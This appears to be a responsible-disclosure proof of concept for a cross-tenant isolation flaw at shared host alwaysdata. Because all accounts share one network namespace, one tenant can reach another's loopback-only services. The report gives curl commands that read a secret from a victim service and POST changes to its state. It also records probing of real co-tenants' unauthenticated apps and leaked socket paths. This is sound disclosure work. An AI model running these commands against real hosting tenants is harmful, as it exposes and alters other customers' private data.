# PoC — alwaysdata shared hosting: all tenants share ONE network namespace
# => a customer's loopback (127.0.0.1) services are READABLE **and WRITABLE** by any co-tenant

Server: ssh2 (shared web server, kernel 6.18.52-alwaysdata, Debian bookworm)
Shared net namespace for every account: readlink /proc/self/ns/net => net:[4026531833] (init ns)
Date: 2026-10-10

Two accounts, BOTH owned by us, confirmed co-located on ssh2 with the SAME net namespace:
  - ATTACKER  = account A  qqqqqq111  uid 554081  (runs no service of its own)
  - VICTIM    = account B  ihorsecb   uid 553290  (a DIFFERENT tenant/customer/uid)
Both: `hostname` => ssh2 ; `readlink /proc/self/ns/net` => net:[4026531833].

=======================================================================================
PART 1 — WRITE/CONTROL proof, built ENTIRELY on our own accounts (this escalation)
=======================================================================================

## 1a. On the VICTIM (account B, uid 553290): start a tiny service bound to loopback only
A ~90-line Python http.server (victim_server.py) bound to 127.0.0.1:49237 exposing:
  GET  /canary  -> returns a secret generated at startup, stored in canary.txt (mode 600)
  GET  /status  -> returns persisted state in state.json
  POST /set     -> mutates state.json (flag/note), increments a write counter, echoes new state
The owner reasonably believes 127.0.0.1 is private to their account.

  B$ cd ~/poc-victim && nohup python3 victim_server.py 49237 >server.log 2>&1 </dev/null &
  B$ cat server.log
  LISTENING 127.0.0.1:49237 canary=CANARY-e4344f6f0fc179b8580394bb9856140f pid=1193689
  B$ ss -ltn | grep 49237
  LISTEN 0  5  127.0.0.1:49237  0.0.0.0:*
  B$ ls -l ~/poc-victim/canary.txt
  -rw------- 1 ihorsecb ihorsecb 40 Oct 10 08:00 /home/ihorsecb/poc-victim/canary.txt   # 0600, owner-only

## 1b. From the ATTACKER (account A, uid 554081): read the secret, then CHANGE the victim's state
  A$ id
  uid=554081(qqqqqq111) gid=507457(qqqqqq111) groups=507457(qqqqqq111)
  A$ readlink /proc/self/ns/net
  net:[4026531833]                      # same namespace as the victim
  A$ ss -ltn | grep 49237
  LISTEN 0  5  127.0.0.1:49237  0.0.0.0:*   # the victim's loopback socket, visible to me though I run nothing

  # (1) READ the victim's private secret  — CONFIDENTIALITY
  A$ curl -s http://127.0.0.1:49237/canary
  {"canary": "CANARY-e4344f6f0fc179b8580394bb9856140f"}      # <-- identical to the value B generated privately

  # (2) victim state BEFORE my write
  A$ curl -s http://127.0.0.1:49237/status
  {"flag": "SAFE", "note": "owner-set default", "writes": 0}

  # (3) WRITE / CONTROL the victim's server-side state  — INTEGRITY
  A$ curl -s -X POST -H 'Content-Type: application/json' \
         -d '{"flag":"PWNED-BY-ACCOUNT-A-uid554081","note":"cross-tenant write via shared net ns"}' \
         http://127.0.0.1:49237/set
  {"ok": true, "new_state": {"flag": "PWNED-BY-ACCOUNT-A-uid554081", "note": "cross-tenant write via shared net ns", "writes": 1}}

  # (4) victim state AFTER my write — my change stuck
  A$ curl -s http://127.0.0.1:49237/status
  {"flag": "PWNED-BY-ACCOUNT-A-uid554081", "note": "cross-tenant write via shared net ns", "writes": 1}

## 1c. Independent confirmation on the VICTIM's OWN disk (written by uid 553290, not echoed back)
  B$ cat ~/poc-victim/state.json
  {"flag": "PWNED-BY-ACCOUNT-A-uid554081", "note": "cross-tenant write via shared net ns", "writes": 1}
  B$ grep -v LISTENING ~/poc-victim/server.log
  127.0.0.1 - "GET /canary HTTP/1.1" 200 -
  127.0.0.1 - "GET /status HTTP/1.1" 200 -
  127.0.0.1 - "POST /set HTTP/1.1" 200 -
  127.0.0.1 - "GET /status HTTP/1.1" 200 -

RESULT: account A, with no privilege over account B and no service of its own, both READ a
secret that lived only inside B's process/file (canary.txt is 0600 and sits under /home/ihorsecb
which is 1770 — A can NOT read it on the filesystem) AND persisted an arbitrary change to B's
application state on B's own disk. The only channel is the shared loopback. Confidentiality AND
integrity of the victim tenant are fully lost across the boundary.

## 1d. Cleanup (done)
  B$ pkill -f victim_server ; rm -rf ~/poc-victim        # listener gone, dir removed, no leftover procs
No extra account was created; account B is a pre-existing owned test tenant.

=======================================================================================
PART 2 — the same pattern at scale on REAL tenants (already-collected read-only evidence; NOT re-run)
=======================================================================================
From the ordinary owned A shell, with NO service of our own, previously observed (read-only,
one identifying <title> each, no data pulled, apps not driven):
  A$ curl -s -D- http://127.0.0.1:8530/ | head
  HTTP/1.1 200 OK ; Server: Werkzeug/3.1.9 Python/3.13.16 ; Content-Length: 64577
  <title>⚡ Flash Sniper | Limit Maker DCA & Parçalı Çıkış İstasyonu</title>   # a co-tenant's private trading-bot panel, NO auth
  A$ curl -s http://127.0.0.1:5000/ | grep -i '<title>'
  <title>OmniRoute Low-Context Model Checker | Free AI Combo Validator</title> # a different co-tenant's app, NO auth
  A$ ss -lx | grep /home/      # other tenants' unix sockets leak home/account names
  .../home/nexa-reseau-ecna/.claude/remote/run/<id>/rpc.sock   .../home/animezenith/.pm2/{pub,rpc}.sock

These third-party loopback apps answer unauthenticated (HTTP 200). Exactly as Part 1 shows on our
own pair, an attacker reaching such a service can both READ its contents and POST to its
unauthenticated control endpoints — read AND write real co-tenant data. We deliberately did NOT
drive or write to any real tenant; alwaysdata can verify the scale internally.

## What is NOT vulnerable (isolation that holds — still true)
- /home/<tenant> 1770 root:<grp> -> fs traversal denied   - /nfs/{imap,backup}*/<tenant> 0770 -> stat only
- /proc hidepid=invisible -> other pids/environ hidden     - no_new_privs -> setuid/sudo neutralised
- WebDAV / FTP confined to account root (403/550)
The platform's OWN loopback services are correctly auth-gated (monit:2812, PowerDNS:8083,
almonitor:8593, :7102 all 401) — so the exposure is specifically *customers'* services, which
they bound to localhost believing the host-private convention holds. It does not: the network
namespace is shared, so localhost is shared.